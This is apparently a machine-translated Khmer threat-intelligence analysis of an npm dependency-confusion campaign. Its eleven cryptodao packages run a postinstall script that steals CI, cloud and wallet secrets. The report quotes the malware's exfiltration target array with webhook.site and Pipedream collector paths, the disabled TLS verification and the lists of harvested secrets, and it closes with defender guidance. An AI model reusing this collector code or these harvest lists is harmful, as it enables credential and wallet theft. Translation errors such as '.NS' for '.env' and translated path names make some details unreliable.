TL; កុង
នៅថ្ងៃទី 17 ខែមិថុនា ឆ្នាំ 2026 គណនី npm តែមួយត្រូវបានបោះពុម្ពផ្សាយ កញ្ចប់ចំនួនដប់មួយដែលមានគោលបំណងតែមួយ និងបន្ទុកតែមួយក្នុងចំណោមពួកគេដប់នាក់កាន់ cryptodao- បុព្វបទ (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); ទីដប់មួយគឺជាវិសាលភាព @public-for-cdao/coreរាល់ឯកសារទាំងអស់ត្រូវបានបោះពុម្ពផ្សាយនៅក្នុងកំណែ 99.99.99 និងបញ្ជូនបៃដូចគ្នា recon.js ដែលដំណើរការ postinstall.
ឈ្មោះគឺជាការបញ្ជាក់។ ពួកវាអានដូចជាប្លុកសំណង់ខាងក្នុងនៃឧបករណ៍ឯកជនរបស់គម្រោងគ្រីបតូ/DAO។ បានបោះពុម្ពផ្សាយទៅកាន់បញ្ជីឈ្មោះ npm សាធារណៈក្នុងកំណែខ្ពស់សិប្បនិម្មិត ពួកគេអង្គុយរង់ចាំការសាងសង់។ pipeline ដែលត្រូវបានកំណត់រចនាសម្ព័ន្ធដើម្បីដោះស្រាយឈ្មោះទាំងនោះ ហើយដែលទៅដល់ npm សាធារណៈមុន — ឬជំនួសឲ្យ — ការចុះឈ្មោះឯកជន។ នេះគឺ ភាពច្របូកច្របល់នៃការពឹងផ្អែកហើយបន្ទុកត្រូវបានលៃតម្រូវសម្រាប់កន្លែងដែលវារំពឹងថានឹងចុះចត៖ CI/CD រត់.
ពេលណា postinstall ភ្លើងឆេះ recon.js ប្រមូលព័ត៌មានលម្អិតរបស់ម្ចាស់ផ្ទះ បោសសម្អាតយ៉ាងរដុប អថេរបរិស្ថានចំនួនសែសិបសម្រាប់ពពក CI និងកាបូបគ្រីបតូ, អានណាមួយ .env ឯកសារដែលវាអាចស្វែងរក និងបញ្ជូនបន្តបន្ទាត់ដែលមានសម្ងាត់តាមពាក្យសំដី បន្ទាប់មកបញ្ជូនបាច់ទៅអ្នកប្រមូលពីរនាក់ — webhook.site និងចំណុចបញ្ចប់ Pipedream — ដោយបិទការផ្ទៀងផ្ទាត់វិញ្ញាបនបត្រ TLS។ ច្បាប់ចម្លងមួយក៏ត្រូវបានសរសេរនៅក្រោម /tmp.
ភាពធ្ងន់ធ្ងរ៖ ខ្ពស់ប្រព័ន្ធអេកូឡូស៊ីដែលរងផលប៉ះពាល់៖ ម៉ោងងងកញ្ចប់ទាំង ១១ ត្រូវបានចេញផ្សាយនៅពេលសរសេរនេះ។
កាយវិភាគសាស្ត្រវាយប្រហារ
យន្តការនេះមានផ្នែកដែលមានចលនាចំនួនបួន ហើយគ្មានផ្នែកណាមួយដែលមានលក្ខណៈស្រទន់នោះទេ នៅពេលដែលអ្នកដឹងពីរបៀបធ្វើវា។ មើលមួយស្រទាប់ហួសពីឈ្មោះកញ្ចប់។
១. ការបំប៉ោងកំណែជាឧបករណ៍ទាក់ទាញដំណោះស្រាយ។ កញ្ចប់នីមួយៗប្រកាសពីកំណែ 99.99.99ការភាន់ច្រឡំនៃការពឹងផ្អែកដំណើរការនៅពេលដែលកម្មវិធីគ្រប់គ្រងកញ្ចប់បានស្នើសុំ ឈ្មោះផ្ទៃក្នុង ក៏ពិនិត្យមើលបញ្ជីឈ្មោះសាធារណៈ និងជ្រើសរើសកំណែខ្ពស់បំផុតរបស់វាផងដែរ។ រកឃើញ។ ការជ្រើសរើសលំនាំដើមរបស់ npm សម្រាប់ជួរ caret ឬ wildcard គឺ កំណែដែលពេញចិត្តបំផុតនៅទូទាំងប្រភពដែលបានកំណត់រចនាសម្ព័ន្ធនីមួយៗ; ប្រសិនបើទាំងឯកជន registry និង public npm ឆ្លើយសម្រាប់ឈ្មោះដូចគ្នា លេខកំណែធំជាងឈ្នះ។ A 99.99.99 លើសពីកំណែផ្ទៃក្នុងពិតប្រាកដណាមួយដែលគម្រោងនឹងមាន បានដល់ចំណុចកំណត់ ដូច្នេះឧបករណ៍ដោះស្រាយដែលមិនត្រូវបានខ្ទាស់ទៅនឹងប្រភពឯកជនចូលចិត្ត សាធារណៈ — ហើយក្នុងករណីនេះ ជាការចម្លងអរិភាព។ ប្រតិបត្តិករមិនចាំបាច់ដឹងទេ លេខកំណែពិតរបស់គោលដៅ; ការជ្រើសរើសអតិបរមាដែលមិនសមហេតុផលធានាថានឹងស្មើគ្នាជានិច្ច បំបែកផ្លូវរបស់ពួកគេ។
2. ឧបករណ៍បង្កឲ្យមានប្រតិកម្មក្រោយការដំឡើង។ កញ្ចប់ ភ្ជាប់ខ្សែបន្ទុកទៅនឹងការដំឡើង វដ្តជីវិត៖
{ "scripts": { "postinstall": "node recon.js" } } មិនតម្រូវឱ្យនាំចូលកញ្ចប់នោះទេ។ គ្រាន់តែដំឡើងវា — ដែលជា CI pipeline ធ្វើដោយស្វ័យប្រវត្តិ - ដំណើរការ recon.js.
៣. ការស៊ើបការណ៍សម្ងាត់យ៉ាងទូលំទូលាយ។ recon.js ចងក្រងអារេលទ្ធផលជាដំណាក់កាល៖
- បរិបទម៉ាស៊ីន៖ ឈ្មោះម៉ាស៊ីន វេទិកា និងការចេញផ្សាយ ស្ថាបត្យកម្ម ឈ្មោះអ្នកប្រើប្រាស់ ដំណើរការ ថត។
- អថេរបរិស្ថាន៖ វាធ្វើម្តងទៀតនូវបញ្ជីថេរនៃឈ្មោះ និងកំណត់ត្រាប្រហែលសែសិប។ ណាមួយដែលត្រូវបានកំណត់។ បញ្ជីនេះកំពុងបង្ហាញឱ្យឃើញ — វាផ្គូផ្គងសញ្ញាសម្ងាត់ CI ទូទៅ (CI_JOB_TOKEN, លេខសម្ងាត់_ចុះបញ្ជី_CI, GITLAB_ACCESS_TOKEN) និងពពក លិខិតសម្គាល់ (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) ជាមួយនឹងការសម្ងាត់នៃការចុះបញ្ជី និងកុងតឺន័រ (NPM_TOKEN, ពាក្យសម្ងាត់ DOCKER, ពាក្យសម្ងាត់ HARBOR) និងចង្កោមដែលមានរសជាតិគ្រីបតូយ៉ាងច្បាស់៖ កូនសោឯកជន, ការចងចាំ, ឃ្លាគ្រាប់ពូជ, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPC។ តម្លៃដែលបានកត់ត្រាត្រូវបានកាត់ឱ្យខ្លីមកត្រឹម 50 តួអក្សរដំបូង។
- .NS ឯកសារ៖ វាស៊ើបអង្កេតបញ្ជីផ្លូវ — .NS, ../.env, /កម្មវិធី/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, និង .ផលិតកម្ម/ការអភិវឌ្ឍ វ៉ារ្យ៉ង់ — ហើយសម្រាប់ឯកសារណាមួយដែលមាន វា ត្រងមាតិកាទៅបន្ទាត់ដែលត្រូវគ្នា សោ | សម្ងាត់ | ថូខឹន | លេខសម្ងាត់ | ឯកជន | ជំនួយការចងចាំ ហើយរុញបន្ទាត់ទាំងនោះ **ទាំងស្រុង ដោយមិនកាត់ខ្លី** ទៅក្នុងលទ្ធផល។
- បរិបទ Build-host៖ វារាយបញ្ជីធាតុ 20 ដំបូងនៃ /សាងសង់/, /ទំព័រដើម/gitlab-runner/builds/, /var/lib/gitlab-runner/និង / tmp /.
បញ្ជីផ្លូវ និងបញ្ជីអថេរត្រូវបានថ្លឹងថ្លែងឆ្ពោះទៅរកអ្នករត់ GitLab ដែលចង្អុលទៅ បន្ទុកបន្ទុកស្ថិតនៅលើហេដ្ឋារចនាសម្ព័ន្ធ CI ដែលបង្ហោះដោយខ្លួនឯងជាជាងអ្នកអភិវឌ្ឍន៍ កុំព្យូទ័រយួរដៃ។ ការដាក់ជាក្រុមបញ្ជីប្រមូលផលតាមប្រភេទធ្វើឱ្យការដឹកជញ្ជូនដែលគ្រោងទុកមានលក្ខណៈសាមញ្ញ៖
| ប្រភេទ | អថេរ / ផ្លូវដែលបានទៅដល់ |
|---|---|
| CI/CD អត្តសញ្ញាណ និងដាក់ពង្រាយ | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| Cloud | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| បញ្ជីឈ្មោះ និងកុងតឺន័រ | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| កន្លែងផ្ទុកទិន្នន័យ | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| គ្រីបតូ / ប្លុកឆេន | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| ការផ្ញើសារ | SLACK_TOKEN, DISCORD_TOKEN |
| នៅលើថាស | .env គ្រួសារ + /home/gitlab-runner/.env, /root/.env, /app/**/.env; បញ្ជីថតនៃ /builds/, /var/lib/gitlab-runner/ |
ចង្កោមគ្រីបតូគឺជាផ្នែកដែលសម្គាល់វាពី CI-secret ទូទៅ។ sweep: ឃ្លាគ្រាប់ពូជកាបូប និងកូនសោចុះហត្ថលេខាលេចឡើងតែនៅក្នុងបរិស្ថាននៃ គម្រោង blockchain ហើយពួកគេភ្ជាប់ដោយផ្ទាល់ទៅលើ គ្រីបតូដាវ-/សញ្ញា/កិច្ចសន្យា។ ការដាក់ឈ្មោះក្រុមហ៊ុនដឹកជញ្ជូន។
៤. ការច្រោះចេញពីរដងជាមួយនឹងការផ្ទៀងផ្ទាត់ត្រូវបានបិទ។ អារេដែលប្រមូលបានគឺ បានធ្វើស៊េរី និងបង្ហោះទៅកាន់គោលដៅពីរ៖
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) បដិសេធគ្មានការអនុញ្ញាត៖ មិនពិត បិទការត្រួតពិនិត្យវិញ្ញាបនបត្រ TLS សម្រាប់ឯកសារចេញ ការហៅទូរសព្ទ។ ទិន្នន័យដូចគ្នាត្រូវបានបោះពុម្ពទៅ stdout (ដូច្នេះវាក៏ធ្លាក់ចូលទៅក្នុងកំណត់ហេតុការងារ CI ផងដែរ) និង សរសេរទៅ /tmp/.npm_recon_ .jsonកំហុសត្រូវបានលេបចូលដោយស្ងៀមស្ងាត់ ដូច្នេះ ការផ្ញើបរាជ័យមិនបន្សល់ទុកដាននៅក្នុងលទ្ធផលដំឡើងលើសពីមួយ [ពិនិត្យឡើងវិញ] បានដំឡើងនៅលើ បន្ទាត់។
មតិយោបល់ឈានមុខគេនៅក្នុងឯកសារពិពណ៌នាវាថាជា "ភាពច្របូកច្របល់នៃការពឹងផ្អែក" បន្ទុកស៊ើបការណ៍សម្ងាត់។” ការកាត់បន្ថយតម្លៃបរិស្ថានមកត្រឹម 50 តួអក្សរមាន រូបរាងនៃភស្តុតាងនៃគំនិត។ អ្វីដែលផ្លាស់ទីវាឆ្លងកាត់សញ្ញាសម្គាល់វត្តមានតែប៉ុណ្ណោះគឺ .NS ការដោះស្រាយ៖ ខ្សែរថភ្លើងដែលមានការសម្ងាត់ត្រូវបានបញ្ជូនបន្តពេញលេញ ហើយគោលដៅ គឺជាឧបករណ៍ប្រមូលទិន្នន័យពីរដែលដំណើរការ និងគ្រប់គ្រងដោយអ្នកវាយប្រហារ ជាជាងអាងលិចដែលរាប់បញ្ចូលតែឧបករណ៍ប្រមូលទិន្នន័យប៉ុណ្ណោះ ទស្សនា។
ការកំណត់ពេលវេលា
គំរូបោះពុម្ពផ្សាយគឺជាហត្ថលេខានៃការរុញច្រានដែលមានស្គ្រីបតែមួយ មិនមែនដប់មួយទេ ការផ្ទុកឡើងឯករាជ្យ។
| ពេលវេលា (UTC, 2026-06-17) | ព្រឹត្តការណ៍ |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 បោះពុម្ភ |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — វ៉ារ្យ៉ង់ដែលមានវិសាលភាព ~២៤ នាទីក្រោយ |
កញ្ចប់ចំនួនដប់ត្រូវបានចេញក្នុងរយៈពេល 29 វិនាទី ប្រហែលមួយរៀងរាល់បីវិនាទីម្តង។ វិសាលភាពដែលបានកំណត់ @សាធារណៈ-សម្រាប់-ស៊ីដាវ/ស្នូល បានតាមដានប្រហែល 24 នាទីបន្ទាប់ពី - មួយវិនាទី អនុសញ្ញាដាក់ឈ្មោះសម្រាប់គោលដៅដូចគ្នា ក្នុងករណីដែលគម្រោងប្រើប្រាស់យោងទៅលើ ខ្សែសង្វាក់ឧបករណ៍ខាងក្នុងក្រោមវិសាលភាពជាជាងឈ្មោះទទេ។
សូចនាករនៃការសម្របសម្រួល
| វាយបញ្ចូល | ទ្រនិចបង្ហាញ |
|---|---|
| ប្រមូល | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| ប្រមូល | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| ដំឡើងទំពក់ | postinstall: node recon.js |
| ឯកសារដែលបានទម្លាក់ចោល | /tmp/.npm_recon_<timestamp>.json |
| សញ្ញាសម្គាល់កំណត់ហេតុ | [recon] <pkg>@<ver> installed on <hostname> (stdout នៅក្នុងកំណត់ហេតុ CI) |
| ឥរិយាបថ | rejectUnauthorized: false នៅលើ HTTPS ចេញអំឡុងពេលដំឡើង |
| បន្ទុក | recon.jsដូចគ្នាបេះបិទនៅទូទាំងកញ្ចប់ទាំងដប់មួយ (ការបង្កើតដែលបានចែករំលែកមួយ) |
| កំណែ | 99.99.99 នៅលើកញ្ចប់នីមួយៗ |
| កញ្ចប់ | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (ទាំងអស់ 99.99.99) |
| បោះពុម្ពផ្សាយ | aduljune / aduljune@proton.me (អ៊ីមែលមិនទាន់បានផ្ទៀងផ្ទាត់ គ្មានឃ្លាំងប្រភពដែលបានភ្ជាប់) |
ការសន្មត់ និងឥរិយាបថដែលសង្កេតឃើញ
អ្វីគ្រប់យ៉ាងអំពីចង្កោមចង្អុលទៅដៃម្ខាង។ កញ្ចប់ទាំងដប់មួយត្រូវបានបោះពុម្ពផ្សាយ ដោយគណនី npm អាឌុលជូន (aduljune@proton.meអាសយដ្ឋានដែលមិនទាន់បានផ្ទៀងផ្ទាត់ ដែលគ្មាន ឃ្លាំងប្រភពដែលភ្ជាប់) ក្នុងរយៈពេល 25 នាទី ក្នុងពេលតែមួយ 99.99.99 កំណែ, ការដឹកជញ្ជូនមួយ recon.js ដែលមាតិការបស់វាដូចគ្នាបេះបិទទៅនឹងបៃនីមួយៗ កញ្ចប់ (MD5 ផ្គូផ្គងលើច្បាប់ចម្លងដែលបានស្រង់ចេញទាំងដប់មួយ)។ នោះគឺជាបន្ទុកមួយ។ បោះត្រាលើបញ្ជីឈ្មោះ មិនមែនប្រើកូដឡើងវិញដោយឯករាជ្យទេ។
បញ្ជីឈ្មោះកំណត់គោលដៅដែលបានគ្រោងទុក។ គ្រីបតូដាវ-* និង ស៊ីដា ពិពណ៌នាអំពី ប្លង់ម៉ូឌុលឯកជននៃគម្រោងគ្រីបតូ/DAO និងបញ្ជីប្រមូលផលរបស់ payload កញ្ចក់ដែលទាយ៖ រួមជាមួយនឹង CI ទូទៅ និងអាថ៌កំបាំងពពក វាជាពិសេស ឈានដល់ កូនសោឯកជន, ការចងចាំ, ឃ្លាគ្រាប់ពូជនិង Ethereum/BSC RPC និង កូនសោអ្នកផ្តល់សេវា។ .NS ផ្លូវស្វែងរក និងបញ្ជីថតឯកសារគឺជា GitLab-runner ជាក់លាក់។ ផលប៉ះពាល់ដែលអាចសង្កេតឃើញគឺថា pipeline ត្រូវបានបោកបញ្ឆោតឱ្យដំឡើងទាំងនេះ ឈ្មោះនឹងបញ្ជូនបន្តថូខឹន CI របស់វា កូនសោពពក និងនៅលើថាស .NS អាថ៌កំបាំង - និងសម្រាប់ គម្រោង blockchain សម្ភារៈកាបូបរបស់វា — ទៅកាន់អ្នកប្រមូលភាគីទីបីពីរនាក់។
យើងមិនធ្វើការអះអាងអំពីអ្នកណាដែលដំណើរការគណនី ឬអ្វីដែលពួកគេមានគម្រោងធ្វើជាមួយនោះទេ។ ទិន្នន័យ។ ការពិតដែលឈរដោយខ្លួនឯង៖ ឈ្មោះទាំងនោះផ្តោតលើប្រភេទជាក់លាក់មួយនៃ ឧបករណ៍ខាងក្នុង បន្ទុកផ្ទុកទិន្នន័យអាន និងបញ្ជូនតម្លៃសម្ងាត់ពិតប្រាកដ និង infrastructure បានផ្សាយបន្តផ្ទាល់។
ផលប៉ះពាល់ និន្នាការ និងការណែនាំរបស់អ្នកការពារ
ភាពច្របូកច្របល់នៃភាពអាស្រ័យ នៅតែមានប្រសិទ្ធភាពព្រោះវាកេងប្រវ័ញ្ចឥរិយាបថអ្នកដោះស្រាយ មិនមែនជា ភាពងាយរងគ្រោះនៅក្នុងកញ្ចប់ណាមួយ។ ក្រុមហ៊ុនដឹកជញ្ជូននៅទីនេះគឺសាមញ្ញ - ដប់មួយស្ទើរតែទទេ កញ្ចប់ — ប៉ុន្តែកាំផ្ទុះគឺជាអ្វីក៏ដោយ pipeline ច្រឡំចូលចិត្ត npm សាធារណៈ សម្រាប់ឈ្មោះផ្ទៃក្នុង។ អ្នករត់ CI គឺជាកន្លែងអាក្រក់បំផុតសម្រាប់រឿងនោះកើតឡើង៖ ពួកគេកាន់ យ៉ាងពិតប្រាកដនូវសញ្ញាសម្គាល់ និង .NS ឯកសារ payload នេះអាន ហើយពួកគេដំឡើង ភាពអាស្រ័យមិនមានអន្តរកម្មទេ ដូច្នេះ a ក្រោយការដំឡើង រត់ដោយគ្មានអ្នកណាមើល។
ចង្កោមនេះក៏សមនឹងគំរូដែលយើងឃើញជានិច្ច៖ បន្ទុកពេលវេលាដំឡើងដែលបង្ហាញ ជា “ការស្រាវជ្រាវ” ឬ “ការឈ្លបយកការណ៍” ខណៈពេលកំពុងធ្វើការប្រមូលព័ត៌មានបញ្ជាក់អត្តសញ្ញាណពិតប្រាកដ។ ស្លាក នៅក្នុងឯកសារមិនផ្លាស់ប្តូរអ្វីដែលកូដធ្វើនៅលើកម្មវិធីរត់ទេ។ ជម្រើសរចនាពីររក្សា សកម្មភាពស្ងាត់៖ រាល់ប្រតិបត្តិការបណ្តាញ និងប្រព័ន្ធឯកសារត្រូវបានរុំព័ទ្ធក្នុង កម្មវិធីដោះស្រាយករណីលើកលែងដែលលុបចោលកំហុស ដូច្នេះការផ្ញើត្រូវបានរារាំង ឬឯកសារបាត់ មិនបង្កើតលទ្ធផលវិនិច្ឆ័យទេ ហើយរឿងតែមួយគត់ដែលបានបោះពុម្ពគឺជារឿងគ្មានគ្រោះថ្នាក់តែមួយ [បញ្ជាក់] … បានដំឡើងហើយ ខ្សែដែលលាយបញ្ចូលគ្នាទៅនឹងការជជែកគ្នាដំឡើងធម្មតា។ ការប្រើប្រាស់ គេហទំព័រ webhook ហើយ Pipedream ក៏ជាភាពងាយស្រួលដោយចេតនាផងដែរ - ទាំងពីរគឺឥតគិតថ្លៃ ផ្តល់ជូនសេវាកម្មចាប់យកសំណើភ្លាមៗ ដូច្នេះប្រតិបត្តិករមិនត្រូវការម៉ាស៊ីនមេនៃ របស់ពួកគេផ្ទាល់ និងគោលដៅមើលទៅដូចជាឈ្មោះម៉ាស៊ីន SaaS ធម្មតានៅក្នុងកំណត់ហេតុចាកចេញ។
សេដ្ឋកិច្ចគឺជាអ្វីដែលធ្វើឱ្យរឿងនេះសមនឹងទទួលបានការយកចិត្តទុកដាក់ពីអ្នកការពារទោះបីជា លេខកូដក្រុមហ៊ុនដឹកជញ្ជូនគឺសាមញ្ញណាស់។ ការចុះឈ្មោះឈ្មោះចំនួនដប់មួយមិនគិតថ្លៃទេ បន្ទុកគឺមួយ។ ឯកសារត្រូវបានចម្លងចំនួនដប់មួយដង ហើយកម្មវិធីគ្រប់គ្រងកញ្ចប់ធ្វើការប្រតិបត្តិទាំងអស់។ តែមួយ បានកំណត់រចនាសម្ព័ន្ធខុស pipeline កន្លែងណាដែលប្រើប្រាស់ឈ្មោះមួយក្នុងចំណោមឈ្មោះទាំងនេះ នឹងត្រូវចំណាយសម្រាប់ឈ្មោះទាំងមូល ប្រតិបត្តិការ។
ជំហានជាក់ស្តែងសម្រាប់អ្នកការពារ៖
- ភ្ជាប់វិសាលភាពខាងក្នុងទៅក្នុងបញ្ជីឯកជនរបស់អ្នក។ កំណត់រចនាសម្ព័ន្ធ npm so ឈ្មោះខាងក្នុង
និង scopes ដោះស្រាយតែប្រឆាំងនឹង registry របស់អ្នក (scoped .npmrc registry mappings, ឬប្រូកស៊ីដែលមិនដែលធ្លាក់ទៅ npm សាធារណៈសម្រាប់ namespaces ដែលជាម្ចាស់)។ សូមរក្សាទុកឈ្មោះវិសាលភាពសាធារណៈរបស់អ្នក ដើម្បីកុំឱ្យអ្នកផ្សេងអាចចុះឈ្មោះវាបាន។
- Commit lockfiles ហើយដំឡើងជាមួយ –ignore-scripts នៅក្នុង CI កន្លែងដែលអាចធ្វើទៅបាន ឬ ពិនិត្យសំណុំនៃភាពអាស្រ័យតូចៗដែលពិតជាត្រូវការស្គ្រីបដំឡើង។ recon.js មិនអាចដំណើរការបានទេប្រសិនបើ ក្រោយការដំឡើង មិនត្រូវបានប្រតិបត្តិទេ។
- ចាត់ទុកកំណែ 99.99.99 (ឬកំណែខ្ពស់មិនសមហេតុផលផ្សេងទៀត) នៃឈ្មោះដែលមើលទៅខាងក្នុង ជាទង់ក្រហម ក្នុងការពិនិត្យឡើងវិញនូវភាពអាស្រ័យ និងការត្រួតពិនិត្យបញ្ជីឈ្មោះ។
- ការជូនដំណឹងអំពីការចាកចេញនៅពេលដំឡើង។ A ក្រោយការដំឡើង ដែលបើក HTTPS ចេញ ការតភ្ជាប់ — ជាពិសេសជាមួយនឹងការផ្ទៀងផ្ទាត់វិញ្ញាបនបត្រដែលបានបិទ — ទៅ webhook.site, Pipedream ឬសេវាកម្មចាប់យកសំណើស្រដៀងគ្នានេះ គឺមានតម្លៃក្នុងការរារាំងនៅគែមបណ្តាញ និងដាក់ទង់នៅក្នុងកំណត់ហេតុសាងសង់។
- បរបាញ់សម្រាប់វត្ថុបុរាណ។ ពិនិត្យមើលអ្នករត់ប្រណាំង /tmp/.npm_recon_*.json និងសម្រាប់ [recon] … បានដំឡើងនៅលើ … សញ្ញាសម្គាល់នៅក្នុងកំណត់ហេតុ CI ថ្មីៗ។ ប្រសិនបើរកឃើញ សូមបង្វិលរៀងរាល់ លិខិតបញ្ជាក់ដែលប៉ះពាល់នឹងរឿងនោះ pipeline — ថូខឹន CI, កូនសោពពក, ថូខឹនចុះបញ្ជី និងគ្រាប់ពូជកាបូប ឬកូនសោឯកជនណាមួយដែលមាននៅក្នុងបរិស្ថាន ឬឯកសារ .env។
ឯកសារយោង
មិនមានរបាយការណ៍ខាងក្រៅលើចង្កោមនេះនៅពេលសរសេរនេះទេ។ ការវិភាគ ខាងលើគឺផ្អែកលើខ្លឹមសារកញ្ចប់ដែលបានបោះពុម្ពផ្សាយដោយផ្ទាល់




